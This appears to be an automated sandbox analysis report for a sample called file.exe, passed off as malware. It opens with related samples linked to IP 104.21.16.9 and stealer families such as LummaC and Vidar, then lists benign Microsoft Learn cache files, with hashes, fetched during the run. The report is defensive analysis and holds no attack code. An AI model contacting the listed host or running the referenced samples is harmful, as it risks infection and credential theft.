	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195712
Entropy (8bit):	5.430058240656712
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVlis:Wof3G0NSkNzMeO7z/l3ll
MD5:	A307DE6214648B16414DC641D7399066
SHA1:	63980CBC7F3DF8838611519460B570EA50BF5751
SHA-256:	99B65058137EDB2B63400C273F6F5A064E3B0244152B916FD8C3C7C3818D9D93
